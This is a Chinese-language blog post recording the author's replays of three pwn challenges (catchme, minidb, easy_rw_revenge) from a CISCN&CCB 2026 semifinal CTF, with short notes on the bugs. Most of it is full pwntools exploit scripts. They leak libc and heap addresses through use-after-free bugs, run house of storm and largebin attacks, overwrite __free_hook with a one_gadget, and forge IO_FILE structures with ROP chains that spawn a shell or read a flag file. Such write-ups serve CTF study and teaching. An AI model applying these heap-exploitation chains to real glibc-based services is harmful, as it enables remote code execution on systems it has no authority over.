CISCN&CCB-2026-半决赛-pwn-复现记录
前言
没招了,我真被check恶心到了,要不是队内渗透大手子墨尘师傅,我真要寄了,下半场看那个渗透的pwn,我也是没招了,谁家好人windows里面运行elf文件啊,直接白给命令执行我也没招啊。还有那个靶机一,不知道脏牛提权为什么提不上去,哭死,不过还好墨尘师傅梭出来了.......
评分3.0,我是躺赢狗,墨尘师傅评分12.0,他得了mvp!!!
我这里就只放pwn的复现记录了,完整的wp就不放出来(其实是看看会长怎么说),有点丢人说是......
正文
catchme
比赛的时候心态有点崩,试了攻击一些结构体发现这个版本的libc存在硬编码的检查就没再打下去了,应该试一试house of storm的,思路很简单,就是打libc2.23-libc2.29之间都能打的house of storm去申请堆块到__free_hook,将其覆盖为one_gadget就好。
exp:
from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
ip="localhost"
port=8080
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./catchme")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
cmd = """
dir /home/alpha/CTF/glibc-source/glibc-2.27/elf
dir /home/alpha/CTF/glibc-source/glibc-2.27/malloc
b *$rebase(0x0000000000000B8E)
b _int_malloc
b free
"""
def clear(index):
sla(">>",str(6))
sla('index',str(index))
def edit(index,content):
sla(">>",str(4))
sla('index:',str(index))
sa('tag:',content)
def add(co):
sla(">>",str(1))
sla('(3)otter',str(co))
def dele(index):
sla(">>",str(2))
sla('index',str(index))
def show(index):
sla(">>",str(3))
sla('index',str(index))
# edit(3,p64(lb+libc.sym["system"]))
while True:
p=getProcess(ip,port,'./catchme')
add(1)
add(1)
dele(0)
show(0)
ru(b'tag:')
lb=uu64(rc(6))-(0x71af7cfebca0-0x71af7cc00000)
print(hex(lb))
dele(1)
clear(0)
clear(1)
# add(1)#0
# add(1)#1
# dele(0)
# dele(1)
# clear(0)
# add(2)#0
# add(1)#2
# add(1)#3
# ##准备unsortbin attack
# dele(2)
# print('_mp=',hex(lb+0x3eb2d0))
# edit(2,p64(lb+0x3eb2d0-0x10))
# add(1)#4
# edit(2,p64(lb+libc.sym["__free_hook"]))
#在做这个攻击之前,我需要将这个tcache的bin给填满
for i in range(7):
add(3)
dele(0)
clear(0)
add(2)#0
add(3)#1
add(1)#2
add(3)#3
dele(2)
dele(0)
clear(0)
add(2)#0
dele(0)
fake_chunk = lb + libc.sym["__free_hook"] - 0x10-0x8
print("__free_hook=",hex(lb+libc.sym["__free_hook"]))
edit(0,p64(fake_chunk))
pl=p64(fake_chunk+8)+p64(0)+p64(fake_chunk-0x18-5)
edit(2,pl)
add(3)#4
rc(1)
msg=p.recv(timeout=0.5)
print('msg=',msg)
if b'malloc' in msg:
print("no !!!")
p.close()
continue
else:
print("success !!!")
break
'''
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
def edit(index,content):
sl(str(4))
sla('index:',str(index))
sa('tag:',content)
edit(4,p64(lb+0x4f302))
# gdbbug(cmd)
dele(4)
ita()
minidb
程序多处UAF,且申请chunk的时候没有清空堆块上的数据,利用这一处的UAF和堆上残留数据就能构造一个堆重叠,构造伪堆块,释放堆块后达到堆重叠,后面打IO就好

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
ip="localhost"
port=8080
p=getProcess(ip,port,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6")
def key_for_idx(idx):
d = (idx - 37) & 0x3f
if d < 32:
key = bytes([d + 64])
else:
key = bytes([d])
assert hash_key_bucket(key) == idx
return key
def hash_key_bucket(key):
n = 5
for byte in key:
if byte == 0:
break
n = (33 * n + byte) & 0xff
return n & 0x3f
def set(key,content):
pl=b'SET '+key_for_idx(key)
sla('>',pl)
sa('Value> ',content)
def get(key):
pl=b'GET '+key_for_idx(key)
sla('>',pl)
def clone(key,dest):# 写一个相同的记录
pl=b'CLONE '+key_for_idx(key)+b' '+key_for_idx(dest)
sla('>',pl)
def multi():
sla(b'>',b'MULTI')
def exec():
sla(b'>',b'EXEC')
###构造一个chunk,被两个数据信息所指向,利用逻辑漏洞来实现堆块的复用
multi()
set(3,b'a'*0x410)
clone(3,4)
set(3,b'a'*0x410)
set(3,b'a'*0x430)
get(4)
ru(b'VAL: ')
hb=uu64(rc(6))-(0x000059606b119530-0x59606b119000)
print("heapbase=",hex(hb))
set(0,b'a'*0x410)
set(1,b'a'*0x390)
# 我需要在一个堆块当中去构造一个伪造的堆块,借助exec来释放这个伪造的堆块,并且需要去借助这个伪造的堆块来泄露libc地址,之后重复这样的操作来去申请堆块到IO_list_all上去
# 最后get shell
exec()
pl=p64(0)+p64(0x6e0)+p64(hb+0x1240)*2
pl=pl.ljust(0x420,b'\x00')
set(6,pl)
#中间垫一个堆块来实现后续libc地址的泄露
pl=p64(0)*2+p64(hb+0x1930)+p64(hb)+p64(1)
set(7,pl)
set(7,b'a'*0x200)
pl=p64(0x6e0)+p64(0x420)+p64(0)*2
pl=pl.ljust(0x420,b'\x00')
set(7,pl)
set(7,b'a'*0x300)
pl=p64(0x6e0)+p64(0x420)+p64(0)*2
pl=pl.ljust(0x420,b'\x00')
set(7,pl)
multi()
exec()#制造出来堆块重叠
set(8,b'a'*0x200)
pl=p64(0)
pl=pl.ljust(0x3e0-0x20,b'\x00')
pl+=p64(0)+p64(0x41)+p64(0x22)+p64(0)*4+p64(hb+0x1910)+p64(0)+p64(0x41)
pl+=p64(0x23)+p64(0)*4+p64(hb+0x16f0)+p64(1)+p64(0x221)
set(9,pl)
get(8)
ru(b'VAL: ')
lb=uu64(rc(6))-(0x755465c1ace0-0x755465a00000)
print("libc",hex(lb))
# 将所有堆块都申请出来
# set(9,b'a'*0x200)
set(9,b'a'*0x300)
set(10,b'a'*0x200)
set(10,b'a'*0x900)
set(8,b'a'*0x900)
pl=p64(0)
pl=pl.ljust(0x120,b'\x00')
pl+=p64(0)+p64(0x41)+p64(0x22)+p64(0)*4+p64(hb+0x1910)+p64(0)+p64(0x41)
pl+=p64(0x23)+p64(0)*4+p64(hb+0x16f0)+p64(1)+p64(0x221)+p64(((hb+0x16f0)>>12)^(lb+libc.sym["_IO_2_1_stdout_"]-0x10))
set(11,pl)
rdi=lb+0x000000000002a3e5
binsh=lb+next(libc.search('/bin/sh'))
system=lb+libc.sym["system"]
# pl=p64(rdi)+p64(binsh)+p64(system)+p64(0)*4+p64(0x651-0x40)+p64(lb+0x21ace0)*2
pl=p64(rdi)+p64(binsh)+p64(system)+p64(0)*4+p64(0x651-0x40)+p64(lb+0x21ace0)*2
pl=pl.ljust(0x200,b'\x00')
set(12,pl)
libc_base=lb
stdout_addr=lb+libc.sym["_IO_2_1_stdout_"]
pop_rbp=lb+0x000000000002a2e0
leave_ret=lb+0x000000000004da83
heap_addr=hb+0x1700
file1 = IO_FILE_plus_struct()
file1.flags = 0
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr - 8
file1._IO_read_base = leave_ret
file1._IO_write_base = 0
file1._IO_write_ptr = 1
file1._lock = hb+0x10
file1.chain = leave_ret
file1._codecvt = stdout_addr
file1._wide_data = stdout_addr - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
payload=bytes(file1)
payload=payload.ljust(0x200,b'\x00')
# gdbbug(cmd)
set(13,payload)
ita()
easy_rw_revenge
很奇怪,add这里的UAF我也修复了,但是我也没过?不懂,不懂,不懂
很简单,就是直接利用这里的UAF,直接largebin attack就好
from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
from ctypes import *
import ctypes
from Crypto.Cipher import ARC4
ip="localhost"
port=9999
context(os='linux', arch='amd64', log_level='debug')
# elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6")
def admin_check():
# 为了简化认证,这里只在调用到这个admin_check才会去做如下的操作:
'''
unsigned __int64 __fastcall weak_random_bytes_time_seed(_BYTE *buf, int n32)
{
unsigned int seed; // eax
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
seed = time(0);
srand(seed);
for ( i = 0; i < n32; ++i )
{
buf[i] = rand();
printf(" %x ", (unsigned __int8)buf[i]);
}
putchar(10);
return v5 - __readfsqword(0x28u);
}
'''
slibc=cdll.LoadLibrary('./libc.so.6')
slibc.srand(int(time.time()))
key = bytearray()
for i in range(32):
rd=slibc.rand()&0xff
# print("rand=",hex(rd))
key.append(rd)
print("random_key=",(key).hex())
target = b"#welcome!_c1sCn_2026\x00"
cipher = ARC4.new(key)
stage1 = cipher.encrypt(target)
pl=p32(0xFFFF2525)+p64(0)+p32(len(stage1))
sd(pl)
sd(stage1)
def connect_pwn(cookie,content):
p=getProcess(ip,port,'./pwn')
pl=p32(0x7F687985)+p64(0)+p32(len(cookie+content))
sd(pl)
sd(cookie+content)
def add(cookie,index,size,content):
pl=b'rtsp://15772770/{add'
pl+=b':'+str(size).encode()
pl+=b':'+str(index).encode()
pl+=b':'+content
pl+=b'}'
connect_pwn(cookie,pl)
def dele(cookie,index):
pl=b'rtsp://15772770/{delete'
pl+=b':'+str(index).encode()
pl+=b':'+b'x'
pl+=b':'+b'x'
pl+=b'}'
connect_pwn(cookie,pl)
def edit(cookie,index,content,size):
pl=b'rtsp://15772770/{edit'
pl+=b':'+str(index).encode()
pl+=b':'+str(size).encode()
pl+=b':'+content
pl+=b'}'
connect_pwn(cookie,pl)
def show(cookie,index):
pl=b'rtsp://15772770/{show'
pl+=b':'+str(index).encode()
pl+=b':'+b'x'
pl+=b':'+b'x'
pl+=b'}'
connect_pwn(cookie,pl)
cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc
set follow-fork-mode child
set detach-on-fork on
b *$rebase(0x0000000000001A5A)
b *_IO_wdoallocbuf
"""
p=getProcess(ip,port,'./pwn')
admin_check()
cookie=rc(0x20)
print("cookie=",cookie)
p.close()
add(cookie,0,0x510,b'a'*0x20)
add(cookie,1,0x520,b'a'*0x20)
p.close()
#house_of_apple
add(cookie,0,-1,b'a'*0x20)
p.close()
add(cookie,2,0x520,b'a'*0x20)
p.close()
show(cookie,0)
lb=uu64(rc(6))-(0x00007d9c4a01ace0-0x7d9c49e00000)-0x430
print("libc_base=",hex(lb))
rc(2+8)
hb=uu64(rc(6))-(0x00005642aa5963b0-0x5642aa595000)
print("heapbase=",hex(hb))
p.close()
add(cookie,9,0x510,b'a'*0x20)
p.close()
add(cookie,3,0x510,b'a'*0x20)
p.close()
add(cookie,4,0x510,b'a'*0x20)
p.close()
###largebin attack
add(cookie,1,-1,b'a'*0x20)
p.close()
#篡改地址,攻击_IO_list_all
add(cookie,5,0x530,b'a'*0x20)
p.close()
add(cookie,3,-1,b'a'*0x20)
p.close()
pl=p64(lb+0x21b110)*2
pl+=p64(hb+0x18d0)+p64(lb+libc.sym["_IO_list_all"]-0x20)
edit(cookie,1,pl,len(pl))
p.close()
add(cookie,6,0x530,b'a'*0x20)
p.close()
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
libc_base=lb
heap_addr=hb+0x2340
flag_addr=hb+0x2448
fake_IO_FILE = flat({
0x0: 0, # _IO_read_end 这几个不能用于赋值
0x8: 0, # _IO_read_base 这几个不能用于赋值
0x10: 0, # _IO_write_base 这几个不能用于赋值
0x18: 1, # _IO_write_ptr 这几个不能用于赋值
0x20: libc_base+0x2a3e5, # _IO_write_end <<<----fake_IO_wide_data的起始 0x0_IO_read_ptr
0x28: flag_addr, # _IO_buf_base 0x8:_IO_read_end
0x30: libc_base+0x2be51, # _IO_buf_end 0x10:_IO_read_base
0x38: 0, # _IO_save_base 0x18:_IO_write_base <<-- 0
0x40: libc_base+0x108b73, # _IO_backup_base 0x20:_IO_write_ptr
0x48: 0, # _IO_save_end 0x28:_IO_write_end
0x50: 0, # _markers 0x30:_IO_buf_base <<-- 0
0x58: 0, # _chain 0x38:_IO_buf_end
0x60: libc_base+0x45eb0, # _fileno 0x40:_IO_save_base
0x68: 2, # _old_offset 0x48:_IO_backup_base
0x70: libc_base+0x11e90b, # _cur_column 0x50:_IO_save_end
0x78: libc_base+0x2a3e5, # _lock 0x58:_IO_state
0x80: 5, # _offset 0x60:
0x88: libc_base+0x2be51, # _codecvt 0x68
0x90: heap_addr+0x20, # _wide_data 0x70:
0x98: libc_base+0x11f367, # _freeres_list 0x78
0xa0: 0x100, # _freeres_buf 0x80
0xa8: 0, # __pad5 0x88
0xb0: libc_base+libc.sym["read"],# _mode 0x90
0xb8: libc_base+0x11f367, # 0x98
0xc0: 0x100, # 0xa0
0xc8:_IO_wfile_jumps+libc_base, # vtable 0xa8
0xd0:libc_base+0x2a3e5, # 0xb0
0xd8:4, # 0xb8
0xe0:libc_base+libc.sym["write"], # 0xc0
0xe8:0, # 0xc8
0xf0:0, # 0xd0
0xf8:libc_base+0x5a120,# 0xd8
0x100:heap_addr+0x90, # 0xe0:_wide_vtable
})
fake_IO_FILE+=b'./flag\x00\x00'
edit(cookie,3,fake_IO_FILE,len(fake_IO_FILE))
p.close()
dele(cookie,10)
# p.close()
ita()
CISCN&CCB-2026-半决赛-pwn-复现记录
https://a1b2rt.cn//archives/ciscn-ccb-2026-ban-jue-sai-pwn-fu-xian-ji-lu